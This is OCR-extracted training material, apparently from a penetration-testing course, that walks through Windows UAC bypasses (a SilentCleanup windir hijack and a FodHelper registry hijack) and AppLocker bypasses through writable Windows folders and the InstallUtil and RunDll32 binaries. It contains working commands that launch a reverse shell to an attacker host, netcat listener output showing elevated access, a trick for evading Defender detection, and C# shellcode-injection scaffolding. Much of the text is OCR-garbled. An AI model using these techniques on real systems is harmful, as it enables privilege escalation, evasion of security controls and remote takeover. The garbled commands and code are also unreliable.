\system32\cleanmgr.exe /autecleanstoragesense /d %systemdriv...

REM is a Wwindows command which indicates a comment, which means SilentCleanup
would just end up launching RShell.exe witha high integrity level.

-Path "HKCU:\Environment" -Name "windir" -Value "cmd.exe
/K C:\Windows\Tasks\RShell.exe <IP> 8080 & REM " -Force
-TaskPath "\Microsoft\Windows\DiskCleanup" -TaskName
"SilentCleanup"


https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rem

kali® kali

$ no 9999
listening on [any] 9999 ...
connect to [ ] from (UNKNOWN) [ ] 49753
whoami
PS C:\Windows\Tasks> whoami
evasion-dev\maria
whoami /groups | findstr Level
PS C:\Windows\Tasks> whoami oups | findstr Level
Mandatory Label\Medium Mandatory Level Label 5-1-16-8192
Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd.exe /K C:\Windows\Tasks\RShell.exe 8080 & REM " -Force
8080 & REM " -Force

PS C:\Windows\Tasks> Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd.exe /K C:\Windows\Tasks\RShell.exe
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DiskCleanup" -TaskName "SilentCleanup
PS C:\Windows\Tasks> Start-ScheduledTask -TaskPath "\Microsoft\Windows\DiskCleanup" -TaskName "SilentCleanup"

listening on [any] 8080 ...
onnect to [ ] from (UNKNOWN) [ 1 49754
whoami
PS C:\Windows\system32> whoami
evasion-devimaria
whoami /groups | findstr Level
PS C:\Windows\system32> whoami /groups | findstr Level

Mandatory Label\High Mandatory Level $-1-16-12288

To clean up after the bypass, we should remove the value we set for %windirs with the
following command:

-Path "HKCU:\Environment" -Name "windir" -Force

Bypass 2: FodHelper Execution Hijack

The FodHelper bypass was discovered in 2017 by a master's student. Nowadays, it is a
very well-known attacker vector and Windows-Defender Antivirus does a relatively good
job of detecting it. That being said, the technique still works, and it is not so hard to avoid
getting detected.

The default Windows program C:\Windows\System32\fodhelper.exe has an attribute
called AutoElevate, which makes it so that when it is run by a user ata medium integrity
level, it is automatically elevated to a high integrity level.

C:\Tools\SysinternalsSuite> .\sigcheck.exe -m
C:\Windows\System32\fodhelper.exe | findstr autoElevate
<autoElevate>true</autoElevate>

When FodHelper is run, it attempts to read the value of the registry key
"HKCU\Software\Classes\ms-settings\Shell\Open\Command" :

Process Name FID  Operation Path Result Detail Integrity
fodhelper exe 5880 Bi’ RegQueryValue HKCR'ms-settings*Shell\Open’\CommandStateHandler NAME NOT FOUND Length: 90 High
fodhelperexe 5880 O ReqQuenyValue HKCR'ms-settings\Shell\Open‘\CommandFlags NAME NOT FOUND | ength; 16 High

- fodhelper exe 5380 MR RegOpenKey HKC LU Software'Classes ms-settings .Shel"Open‘command NAME NOT FOUND Desired Access: Query Value High
fodhelper exe 5880 m’ RegOpenkey HKCR'mz-gettings*Shell'Open'.command SUCCESS Desired Access: Query Value High
fodhelperexe 5380 M RegGueryKey — HKCRms-settings’ShelOpen‘Command SUCCESS Query: Name High
fodhelper exe 5880 Ei) RegGueryKey  HKCRms-settings.Shell"Open*Command SUCCESS Query: HandleTags. HandleTags: (k0  High
fodhelper exe 5880 B-f RegOpenkey HKCLSoftware'Classes ms-settingz Shel"Open‘Command NAME NOT FOUND Desired Access: Maximum Allowed High
fodhelper exe 5880 H RegQueryValue HKCR\ms-settings'Shel\Open'Command'\Delegate Execute BUFFER OVERFL... Length: 12 High
fodhelper exe GhEN Ei) RegClosekey HKCRms-gettings"Shell"Open*Command SUCCESS High
fodhelper exe 5380 Ei’ RegQuenyValue HKCR'ms-settings*Shell'OpentCommandStateHandler NAME NOT FOUND Length: 50 High
fodhelper exe 5880 UK RegOpenKey  HKCLMSoftwars'\Classes'ms-settings'\Shel\Open\command NAME NOT FOUND Desired Access: Query Value High
fodhelper exe 5880 mReQODenKey HKCR'ms-settings"Shell"Open‘command SUCCESS Desired Access: Guery Value High

B~ fodhelper exe 5880 mRegOuewKey HKCR mz-gettings"Shell"Open‘Command SUCCESS Query: Name High
fodhelper exe 5380 Bi’RegQueryKey HKCR me-gettings*Shel'Open‘Command SUCCESS Query: HandleTags, Handlie Tags: (x0  High
fodhelper exe 58080 [ RegOpenKey  HKCLMSoftwars\Classes'ms-settings'\Shel\Open'\Command NAME NOT FOUND Desired Access: Maximum Allowed High
fodhelper exe 5880 mRegQuery"u"alue HKCR mz-gettings"Shel Open‘Command*Delegate Execute SUCCESS Type: REG_SZ. Length: 78. Data: {4... High
fodhelper exe 5880 Bi’ RegClosekey HKCR'mz-gettings*Shell'Open‘Command SUCCESS High


https://www.borncity.com/blog/2017/05/24/windows10-neue-uac-bypassing-methode-fodhelper-exe/
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Registry keys ending with "Shell\0Open\Command" are used to tell Windows how to open
various file types, so for example GIF files should be opened with iexplore.exe asis

defined here:

B Registry Editor
File Edit View Favorites Help
ComputerHKEY_CLASSES_ROOT\giffile\shelhOpenicommand

> GC || Mame Type Data
ML e ?j}(Default:l REG_SZ "C\Program FileshInternet Exploreriiexplore.exe” %1
el 35| DelegateExecute  REG_SZ {17FE9752-0B5A-4665-84CD-569734602F5C}
P Defaulticon
v | shell
: v Open
D command
printto
GIFFilter.CoGIFFilter

Basically, FodHelper triestoread "...\ms-settings\Shell\0Open\Command" because it
wants to open something using the ms-settings protocol, and it needs to know how. We
saw in a previous screenshot that it first checked HKCU and then HKCR after the first path
was not found. Since we are able to modify HKCU , we should be able to control the value

FodHelper receives.

Traditionally, the bypass was to set "HKCU\Software\Classes\ms-
settings\Shell\0Open\command" to whatever command we wanted to run, however
nowadays Microsoft Defender Antivirus-will kill the process as soon as you write to this

key:

"HKCU:\Software\ClassasXms-settings\Shell\Open\command" -Force
-Path "HKCUw\Software\Classes\ms-
settings\Shell\Open\command™ -Name "DelegateExecute" -Value "" -Force
-Path "HKCU:\Software\Classes\ms-
settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe" -Force

C:\Windows\System32\fodhelper.exe



Threat blocked

Severe
3/24/2024 8:57 &AM

Detected: BehaviorWin32/UACBypassExp.T!gen
Status: Removed
A threat or app was removed from this device.

Date: 3/24/2024 8:57 AM
Details: This program is dangerous and executes commands from an attacker.

Affected items:
behavior: process: Ch\Windows\System32\WindowsPowerShell\w1.0ypowershell.exe, pid:8264:217374045285771

regkeyvalue: HKCU@S-1-5-21-1281964002-1479956090-3874817217-1000\Software\CLASSES\MS-SETTINGSYSHELL
NOPEMVWCOMMAMNDNY,

Learn more

Actions

As it turns out, however, it is very easy to bypass this detection. As explained in this blog
post, Microsoft Defender Antivirus is only triggered when it senses ".exe" in the
value being set, so if you simply remove the ".exe" you will not get blocked.

In Windows , you do not need to specify ".exe" for Windows to locate a binary. So for
example, if you tried running C:\Windows\System32\cmd you will notice that cmd.exe is still
launched.

4 E¥ Administrator: Windews PowerShell = m} x
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crosoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https: a.ms/PSWindows

cmd

\Users\Administrator>_,

Making this slight adaptation, we can see that the bypass works without getting blocked by
Microsoft Defender Antivirus (in this case launching RShell.exe)

"HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
-Path "HKCU:\Software\Classes\ms-


https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/
https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/

settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

-Path "HKCU:\Software\Classes\ms-
settings\Shell\Open\command" -Name "(default)" -Value
"C:\Windows\Tasks\RShell <IP> 8080" -Force

C:\Windows\System32\fodhelper.exe

kali® kali H I I NI N BN D BT BN DNOE NN
$ nc 9999
listening on [any] 9999 ...
connect to [ 1 from (UNKNOWN) [ 1 49827
whoami
PS C:\Windows\Tasks> whoami
evasion-dev\maria
i /groups | findstr Level
PS_C:\Windows\Tasks> whoami /groups | findstr Level
Mandatory Label\Medium Mandatory Level Label 5-1-16-8192
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
PS C:\Windows\Tasks> New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute"” -Value "" -Force | Out-Null
PS C:\Windows\Tasks> New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Windows\Tasks\RShell 8080" -Force
PS C:\Windows\Tasks> Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Windows\Tasks\RShell 8080" -Force
C:\Windows\System32\fodhelper.exe
PS C:\Windows\Tasks> C:\Windows\System32\fodhelper.exe

C:\Windows\System32\fodhelper.exe
PS C:\Windows\Tasks> C:\Windows\System32\fodhelper.exe

kali® kali O - . jnm ] u EEE  §ETEEE

$ nc 8080
listening on [any] 8080 ...
connect to [ ] from (UNKNOWN) [ ] 49835
whoami
PS C:\Windows\system32> whoami
evasion-devimaria
whoami /groups | findstr Level
PS C:\Windows\system32> whoami /groups | findstr Level
Mandatory Label\High Mandatory Level S-1-16-12288

To cleanup after the bypass, we should run the following command:

"HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Extra Reference: WinPwnage

A project which may serve as a useful reference which researching other UAC bypass
techniques is WinPwnage, which contains Python implementations of 15 different vectors.

AppLocker

Introduction to AppLocker

AppLocker is a Windows (defense-in-depth) security feature which allows administrators to
restrict which apps and files a user can run.Rules may be applied to the following
file types:

Executable files: .exe, .com
Windows Installer files:.msi, .msp
Scripts: .js, .ps1, .vbs, .cmd, .bat
Packaged apps : .aappx

Dynamic-Link Libraries: .dll


https://github.com/rootm0s/WinPwnage
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T Local Security Policy
File  Action View Help
&= | 7|

El_gl Security Settings
5 Account Policies

I ApplLocker provides access control for applications

4, Local Policies
| Windows Defender Firewall with Adve Getting Started ~
| Metwaork List Manager Policies ]
~| Public Key Palicies

ApplLocker uses rules and the properties of files to provide access contral for
applications. I rules are present in a rule collection, anly the files included in those

| Software Restriction Policies rules will be permitted to un. Applocker nules do not apply to all editions of Windows.
w [ | Application Contral Paolicies
v @ Applocker
[T Executable Rules More about AppLocker

Windows Installer Rules
=] Script Rules
&l Packaged app Rules Configure Rule Enforcement -

g IP Security Policies on Local Compute

| Advanced Audit Policy Cenfiguration I E:Ior:ﬁh'rti J“«PP'_-OCkEFSIZt“:JiC‘.-' to be enforced on a computer, the Application
£%%  |dentity service must be running.

Which editions of Windows support AppLocker?

Use the enforcement settings for each rule collection to configure whether rules are
enforced or audited. F rule erforcement has not been canfigured, rules will be erforced
by default.

B} Configure e enforcement

Mare about rule enforcement

In practice, Dynamic-Link libraries are not typically restricted, since Microsoft requires
administrators to explicitly enable this rule collection due to reduced system performance

issues.

Applocker Properties .

Erforcement Advanced

Specify whether the DLL rule collection is enabled.

L DLL rules can affect system performance

Cnly enable DLL rules after thoroughly reviewing the ApplLocker
documentation. DLL nules can affect system performance and
cause unexpected behavior if they are not propery implemented.

[] Enable the DLL rule collection

Each file type has a default ruleset provided by Microsoft . For example, the default ruleset
for executable files, is the following three rules:

Everyone may run executable files located in %PROGRAMFILESS\*
Everyone may run executable files located in the %SWINDIR%\*
Administrators may run executable files located anywhere



T Security Settings Action  User MName Condition  Exceptions
& Account Policies

Local Polici o Allow Everyone (Default Rule) All files located in the Program Files folder  Path
B Wedouue Do Firemalwith ] 8 2 Everyane (Default Rule) All files located in the Windows folder  Path
| Windaws Letender birewall With AGVE |y b 1w BUILTINVAdministrators  (Default Rule) All files Path

| Network List Manager Policies
_| Public Key Policies
| Software Restriction Policies
~ || Application Control Pelicies
w ‘_,i Applocker
=] Executable Rules
[ Windows Installer Rules
[=] Script Rules
Bl Packaged app Rules
g IP Security Policies on Local Compute
| Advanced Audit Policy Cenfiguration

Attempting to run a file which is not allowed by the AppLocker ruleset results in one of the
following error messages (1: attempting to run from commandline, 2: attempting to run from
GUI):

This app has been blocked by your system
administrator.

Contact your system administrator for more info.

Copy to clipboard

Enumerating AppLocker

An AppLocker policy may be configured locally or across a domain, so we will focus on
enumerating the effective policy. To do so, we may use the Get-AppLockerPolicy
PowerShell cmdlet.

-Effective -Xml

Looking through the output, we can see for example one of the default rules, which allows
members of the Everyone group (SID: S-1-1-0) torun executable files in
%PROGRAMFILESS\* :

<SNIP>
<FilePathRule Id=" " Name="

Description="


https://learn.microsoft.com/en-us/powershell/module/applocker/get-applockerpolicy
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" UserOrGroupSid=" " Action=" s
<Conditions>
<FilePathCondition Path=" " /s
</Conditions>
</FilePathRule>
<SNIP>

If we wanted to test whether or not we would be able to run a certain file without actually
trying to run it, we could use the Test-AppLockerPolicy PowerShell cmdlet like so:

C:\Users\max> -Effective | -
Path C:\Tools\SysinternalsSuite\procexp.exe -User max

FilePath PolicyDecision MatchingRule

C:\Tools\SysinternalsSuite\procexp.exe DeniedByDefault

C:\Users\max> -Effective | -
Path C:\Tools\SysinternalsSuite\procexp.exe -User maria

FilePath Policybecision MatchingRule
C:\Tools\SysinternalsSuite\procexp.€exe Allowed (Default Rule) All
files

Exploiting the Default Ruleset

Example: Executable Files

Now that we understand what AppLocker is, and how to enumerate its policy, let's
understand why the default ruleset is insecure, and how attackers may easily exploit it to
bypass AppLocker . Once more, here is the default ruleset for executable files:

... [SNIP]...
<RuleCollection Type="Exe" EnforcementMode=" ">
<FilePathRule Id=" " Name="
" Description="
" UserOrGroupSid=" " Action=" "
<Conditions>
<FilePathCondition Path=" ">
</Conditions>
</FilePathRule>
<FilePathRule Id=" " Name="

" Description="


https://learn.microsoft.com/en-us/powershell/module/applocker/test-applockerpolicy?view=windowsserver2022-ps
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of the Everyone group to run applications that are located in the Windows
folder." UserOrGroupSid="S-1-1-0" Action="Allow">
<Conditions>
<FilePathCondition Path="SWINDIRS\*" />
</Conditions>
</FilePathRule>
<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name=" (Default
Rule) ALl files" Description="Allows members of the local Administrators
group to run all applications." UserOrGroupSid="S-1-5-32-544"
Action="Allow">
<Conditions>
<FilePathCondition Path="*" />
</Conditions>
</FilePathRule>
</RuleCollection>
... [SNIP]...

As you can see, The second rule with the ID " a61c8b2c-a319-4cd0-9690-d2177cad7b51"
allows members of the Everyone group (SID: S-1-1-0) torun executable files in
SWINDIR%\* . Using the following PowerShell script, we can enumerate folders inside
%WINDIR% which standard users can both write to and execute from:

Get-ChildItem $env:windir -Directony *ReCurse -ErrorAction
SilentlyContinue | ForEach-0bjects$
$dir = $_;
(Get-Acl $dir.FullName) .AcCess | ForEach-0Object {
if ($ .AccessContrelfype -eq "Allow") {
if ($ .IdentityReference.Value -eq "NT AUTHORITY\Authenticated
Users" -or $ .IdentityReference.Value -eq "BUILTIN\Users") {
if (($ .FileSystemRights -like "*Write*" -or
$ .FileSystemRights -like "*Create*") -and $ .FileSystemRights -like
"*Execute*") {
Write-Host ($dir.FullName + ": " +
$ .IdentityReference.Value + " (" + $ .FileSystemRights + ")");
}

};

After allowing this script to run, we get the following list of folders and respective
permissions. Hypothetically, we could use any of these folders to bypass AppLocker
restrictions for executable files.



C:\Users\Administrator> C:\Tools\AppLockerBypassChecker.psl
C:\Windows\Tasks: NT AUTHORITY\Authenticated Users (CreateFiles,
ReadAndExecute, Synchronize)

C:\Windows\Temp: BUILTIN\Users (CreateFiles, AppendData, ExecuteFile,
Synchronize)

C:\Windows\tracing: BUILTIN\Users ( , ReadAndExecute, Synchronize)
C:\Windows\System32\spool\drivers\color: BUILTIN\Users (CreateFiles,
ReadAndExecute, Synchronize)

C:\Windows\Temp\MsEdgeCrashpad: BUILTIN\Users (CreateFiles, AppendData,
ExecuteFile, Synchronize)

C:\Windows\Temp\MsEdgeCrashpad\attachments: BUILTIN\Users (CreateFiles,
AppendData, ExecuteFile, Synchronize)
C:\Windows\Temp\MsEdgeCrashpad\reports: BUILTIN\Users (CreateFiles,
AppendData, ExecuteFile, Synchronize)

For example, if we tried copying NotMalware.exe to C:\Windows\Tasks , we notice that
AppLocker does not prevent us from running the file:

kalis kali
$ N 8080
listening on [any] 8@8@ ...
connect to [ ] from (UNKNOWN) [
Microsoft Windows [Version 10.0.20348.405]
(c) Microsoft Corporation. All rights reserved.

C:\Users\max>

ule) All files ted in the Windows folder

Example: Scripts

A brief look at the default ruleset for restricting scripts shows that the same bypass can be
used.

... [SNIP]...
<RuleCollection Type=" " EnforcementMode=" ">
<FilePathRule Id=" " Name="
" Description="
" UserOrGroupSid=" " Action=" "
<Conditions>
<FilePathCondition Path=" ">
</Conditions>
</FilePathRule>

<FilePathRule Id=" " Name="
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Rule) ALl scripts located in the Windows folder" Description="Allows
members of the Everyone group to run scripts that are located in the
Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
<Conditions>
<FilePathCondition Path="SWINDIR%\*" />
</Conditions>
</FilePathRule>
<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default
Rule) ALl scripts" Description="Allows members of the local Administrators
group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
<Conditions>
<FilePathCondition Path="*" />
</Conditions>
</FilePathRule>
</RuleCollection>
... [SNIP]...

So for example, the following VBscript located on max's desktop is blocked by the default
AppLocker script policy:

Windows Script Host

@ Execution of the Windows Script Host failed. (This program is

blocked by group policy. For more information, contact your
system administrator. |

However, moving the file to C:\Windows\Tasks allows us to execute it:



Home

¢ > v

7 Quick access

Manage

Share View Application Tools

» ThisPC » Local Disk (C:) * Windows » Tasks

MName

2| examplewbs
I Desktop e
; Downloads -
|ﬂ Documents -+
&= Pictures
=1 This PC
¥ Network
litern  1itern selected 22 bytes

LOLBAS: InstallUtil
Living off the Land

Date modified

5/7/2024 :55 AM

Hella, World!

Type

VBScript Script File

1KB

L Search Tasks

Another popular technique attackers use to evade detection (and bypass AppLocker ) is
called "living off the land" ( LOTL ), which refers to abusing binaries already within the
victim's OS to carry out attacks. A very good resource for this type of attack is the LOLBAS
project, which contains a searchable list of Microsoft-signed binaries and how they may
be abused in various ways.

For example, if we wanted to find a way to execute code (e.g., to bypass AppLocker), we
could search "/execute" and then click on a binary to view details about how the attack is

carried out.


https://lolbas-project.github.io/
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Jexecute

Bina Functions Tvpe ATT&CK®
i yP Techniques

. . , T1218: Systen

AddinUtil.exe Binaries

At.exe

Binaries

T1218; Systen

Atbroker.exe Binaries Binary Prox
T1202: Indirect
Bash.exe Binaries

T1564.004: NTFS

Alternate data File Attribute
. . streams T1105: Ingre:
Bitsadmin.exe S H ‘ Binaries Tool Transfer
T R T1218: Systen

Execute 1ary Prox

TAUAD, Crarbnrr

Let's imagine we decide on the InstallUtil.exe binary and view the details. The website
itself will not contain all the necessary details on how to exploit each binary, however links to
external resources will be available which may describe the attacks better.

.. /Installutil.exe #s« cso

AWL bypass (DLL, Custom Format) || Execute (DLL, Custonff E@rmat) || Download (INetCache)

The Installer tool is a command-line utility that allows you to install and uninstall server resources by
executing the installer components in specified assemblies

Paths:

C:\Windows\Microsoft. NET\Frameworkw2.0.50727\InstallUtil.exe
C:\Windows\Microsoft. NET\Framework64\w2.0.50727\InstallUtil.exe
C:\Windows\Microsoft. NET\Framework'w4.0.30319\InstallUtil.exe
C:\Windows\Microsoft. NET\Framework64\v4.0.3031NInstallUtil.exe

Resources:

« https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
ns://evilcg.mefarchives/ApplLocker Bypass Techniques.html#menu index 12

/github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md

. w.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-
whitelisting-environment-restrictions-aw/

https://oddvarmoe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

cs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

In these next two sections, we will cover two common "LOLBINs" which can be used to
execute arbitrary code while bypassing AppLocker .

Introduction to InstallUtil
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InstallUtil is a Microsoft command-line utility which can be used to install and uninstall
server resources. The program is automatically installed alongside Visual Studio, and is
typically located in the following locations:

32-bit: C:\Windows\Microsoft.NET\Framework\v4.0.30319
64-bit: C:\Windows\Microsoft.NET\Framework64\v4.0.30319

Since InstallUtil.exe is alegitimate Microsoft binary, and it is located under
C:\Windows , it will more often than not be permitted by whatever AppLocker policy is in
place (including the default rulesets):

C:\Users\max> -Effective | -
Path C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

FilePath
PolicyDecision MatchingRule

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Allowed (Default Rule) All files located in the Windows folder

Besides bypassing AppLocker, programs such as InstallUtil are extremely useful to
attackers, since they may be used to make malicious actions appear like they belong.

Executing Code with InstallUtil

Now that we have a better understanding of what InstallUtil is, let's take a look at how
we may abuse it to execute arbitrary code. In order to do this, we will need to open Visual
Studio and create a new project, using the Console App (.NET Framework) template (for
the project name, we can choose NotMalware IU).


https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
https://visualstudio.microsoft.com/
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Create a new project

.net framework cons

Recent project templates All languages All platforms All project types

Ec" Console App (.NET Framewaork)

B Console App (NET Framework) A project for creating a command-line application

c# Windows Console
ﬁ’ Console App (NET Framewaork)
A project for creating a command-line application
WVisual Basic Windows Console

Dc‘.l’ Windows Forms App (NET Framework)

A project for creating an application with a Windows Forms (WinForms) user
interface

C# Windows Desktop

WPF App (.NET Framework)

Windows Presentation Foundation client application

C# HAML Windows Desktop

WPF App (.MET Framework)
Windows Presentation Foundation client application

Visual Basic HAML Windows Desktop

 Class Library (,NET Framework)
A project for creating a C# class library (.dll)

In order for InstallUtil to know what code it has to execute, we will need to extend the
System.Configuration.Install.Installer class. Since this is not a default class, we will need to

manually add a reference to the library which contains it. We can do this through the

Project > Add Reference... menu.

n File Edit View Git Project Build Debug Test Analyze Tools Extensions Window  Help £ Search ~ NotMalware_IU
ﬁﬂ - B EI g = AddForm (Windows Forms)... B E s =
Add User Control (Windows Forms)...
Program.cs & 3 What's I Add Component...
Nothalware_|U %2 Add Class...
1 @ i Add Mew Data Source..

s32n05 eleQ

Add New ltem... Ctrl+Shift+A

Add Existing lterm... Shift+Alt+A

Exclude From Project

Show All Files

Add Reference...

Add Service Reference...
Connected Services
Configure Startup Projects...
Set as Startup Project
Export Termplate...

Manage NuGet Packages...

MotMalware_U Properties

Inside the Reference Manager , we will need to click Browse. .. and select the following
DLL file:

C:\Windows\Microsoft.NET\assembly\GAC MSIL\System.Configuration.Install\v4
.0 4.0.0.0 bO3f5f7flld50a3a\System.Configuration.Install.dll



https://learn.microsoft.com/en-us/dotnet/api/system.configuration.install.installer?view=netframework-4.8.1

Once selected, hit 0K to add the reference to the library.

Reference Manager - MotMalware_[U ? et
P Assemblies Search (Ctrl+E)

> Projects Name Path Manc
System.Configuration.Install.dll CA\Windows\Microsof..  Systern.Configuration.Install.dll
Created by:
> COM Microsoft Corporation
File Version:
Browse 4.8.4161.0 built by: NET43REL1

p Shared Projects

Recent

With the necessary namespace referenced, we may begin programming our exploit. The
following code may be used as a template:

using System;
using System.Configuration.Install;

public class

{
public static void (string[] args)
{
}
}
[ . . (true)l
public class
{
public override void (
savedState)
{



The class NotMalware IU has an empty Main method. In this case, the second class A
(named arbitrarily) which extends the Installer class is the one which matters. In that
class, we will override the Uninstall method, so that when we tell Installutil to
uninstall our compiled program, it will execute whatever code we put inside this method.

Let's modify this project to execute our micrd shell payload from the Dynamic Analysis
section. The D11Import statements need to be added to the top of the A class:

<SNIP>
public class
{

[ ("kernel32")]

private static extern ( lpStartAddr,
size, flAllocationType, flProtect);

[ ("kernel32")]

private static extern bool (W) lpAddress, uint
dwSize, flNewProtect, out lpftOldProtect);

[ ("kernel32")]

private static extern eateT™ ( lpThreadAttributes,

dwStackSize, 1pStantAddress, param,

dwCreationFlags, ref lpFhreadId);

[ ("kernel32" )4

private static extern™l ( hHandle,

dwMilliseconds);

public override void (
savedState)

{
<SNIP>

And then the shellcode decryption/injection logic needs to replace the comment which says
"CODE EXECUTION" inside the Uninstall method:

<SNIP>
public override void (
savedState)

{

string bufEnc = "<SNIP>";



<SNIP>

Since the micr@ shell payload we are using is 64-bit, we need to modify the compilation
options. At the top of the Visual Studio window, where it says Debug, Any CPU, switch
Debug to Release . Next, click on Any CPU and select Configuration Manager... . Inside
the Configuration Manager window, click Any CPU, select <New. ..>, click ARM64 and
select x64 . Finally, click 0K and then Close.

Project  Build Debug Test Analyze Tools xtensions  Window L Search ~ NotMalware_IU

Release ~ Any CPU - > e A PE|EE M

- Uninstall{|Dictionary savedState)

Syste iration. Install;
System.Runtime.InteropServices;
System.Security.Cryptography;

Active solution configuration: Active solution platform:

Release _VJ [Any CPU

Project contexts (check the project configurations to build or deploy):

Praject Configuraticn Platform
NotMalware_IU f Release ~ ||| Any CPU

MNew Solution Platform ? *
32")]
Type or select the new platform:

IntPtr Virtual I

Copy settings from:
VirtualPr Any CPU

rt("kernel32")] Create new project platforms

IntPtr CreateT

3211

WaitFor

With everything ready, click Build > Build NotMalware IU from the menu to build the
program. The compiled program will be located in <PROJECT>\bin\x64\Release .

Finally, to (ab)use InstallUtil.exe to execute our code, we may prepare a netcat
listener, and use the following command (making sure to specify the 64-bit version of
InstallUtil.exe):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U
C:\Tools\NotMalware IU\NotMalware IU\bin\x64\Release\NotMalware IU.exe

If everything was done correctly, we will receive a reverse shell, bypassing both AppLocker
and Real-time protection!



kali® kali
$ nc 8080
listening on [any] 8080 ...
connect to [ ] from (UNKNOWN) [ ] 50671
Microsoft Windows [Version 10.0.20348.405]
(c) Microsoft Corporation. ALl rights reserved.

C:\Users\max>whoami & FreeRDP:
Whoa']ll File Edit View Git Project Build Debug Test Analyze
evasmn—dev\max

Release - x64

C:\Users\max>

< Program.

£ B Command Prompt

allutil.exe /logfile= /LogToConsole=false /U C:\Tools\N

1.0

C:\Users\max>,

LOLBAS: RunDII32
Introduction to RunDII32

RunDII32 is a standard Microsoft binary which comes with Windows . The utility may be
used to load and execute dynamic-link libraries (DLLs). It is typically located at:

32-bit: C:\Windows\SysWOW64\rundl132wexe
64-bit: C:\Windows\System32\rund¥132 exe

As is the case with InstallUtil, Runbl132 will usually get past AppLocker policies since
it is a legitimate Microsoft binary which has actual non-malicious use.

C:\Users\max> -Effective | -
Path C:\Windows\System32\rundl132.exe

FilePath PolicyDecision MatchingRule

C:\Windows\System32\rundl132.exe Allowed (Default Rule) All files
located in the Windows folder

Bypassing AppLocker with RunDII32

Let's take a look at how we can execute arbitrary code using RunD1132 . Since we used
NotMalware in the previous section, we will modify RShell to work with RunD1132,
although this technique may be adapted to work with pretty much any tool. To start off, we
need to create another Visual Studio project, this time with the Class Library (.NET
Framework) template (for the project name, we can choose RShell D).



https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32
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By default, you can not export DLL methods from .NET programs, since itis managed code.
The difference between managed and unmanaged code is that unmanaged code is executed
directly by the operating system, and managed code (in this case) is executed by the .NET
Common Language Runtime (CLR).

Nevertheless, there is a GitHub project called DIIExport which allows us to export methods.
To use this tool, we will need to add the NuGet package to the project. Inside the Visual
Studio window, select Project > Manage NuGet Packages...

n File Edit View Git Project Build Test Analyze Tools  Extensions

500

. Qassl.as | X
[c#] RShell_D
1-:5

Set as Startup Project
Termplate...
lanage MuGet Packages...

RShell_D Properties

Browse Installed Updates NuGet Package Manager: NotMalware

Search (Ctri+L) - Package source: Hack The Box ~  [&3]
Settings
- =
(e DllExport

0 DIIExport by github.com/3F/DIIExport

Y NET DllExport with .NET Core support (aka 3F/DllExport)
Version: Latest stable 1.7.4 M Install

© Package source mapping is off.

v | Options

Description

Each package is licensed to you by its owner. NuGet is not responsible for, nor does it grant any licenses to, third-party packages. Oben sonmses projert NET DRExport with INET Core suppovt (aka

3F/DliExport)

Don't show this again
https://github.com/3F/DllExport

Uncheck the first two checkboxes to only have Hack The Box as the packages source:


https://learn.microsoft.com/en-us/dotnet/standard/clr
https://learn.microsoft.com/en-us/dotnet/standard/clr
https://github.com/3F/DllExport

Options ? X

P Package sources: inll (B2

Cross Platform A
] nuget.org
Database Tools https:/fapi.nuget.orgfv3findex.json

= TO_GIS Microsoft Visual Studio Offline Packages
IntelliCode C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\,

Live Share
* Hack The Box
NuGet Package Manager

C\Tools\Nuget

AT YT

General
Configuration Files
Package Source Mapping

Test
Text Templating L |
Web Forms Designer Name: |nuget.org '
Web Performance Test Tools |
Windows Forms Designer Source: | https://api.nuget.org/v3/index.json Update
XAML Designer

vyvVvevezewz:=2<—ww

Subsequently, select Hack The Box as the package source and select D11Export . Next,
click Install and then Apply.

Browse Installed Updates NuGet Package Manager:

Search (Ctrl+L) - T Package source: Hack The Box ~ &%

o you by its owner. NuGet is not responsible for, nor does it grant any licenses to, third-party packages.

Once the package is installed, the following window will pop up. The only thing we need to
do here is mark the highlighted Installed checkbox, and then click Apply.



MET DllExport 1.7.4.29858+ c1cc32f //github.com/3F/DIlExport

SREUER .\ Tools\RShell_D\RShell_D sin
ed into
d into

RShell_D'RShel_D csproj

il Cptions Pre-pmcessingl Data | Post-pr\:ucessing| Upda{er| Build info|

[Debug] Project Configurat v Installed he:II- - 'L::: R Browse

PU”
ration: IRl = () Direct-Mod | (& Cecil

[Info] Found Project Con
RShell_D =

ease |Any
The Base for ordinals. 2
- : z ols\RShel

[ Generate .exp + lib via MS Library Manager. :

2
[ Use our IL Assembler. Try to fix 0x13 / 0x11 opcodes. =
O Custom IL&sm:l |
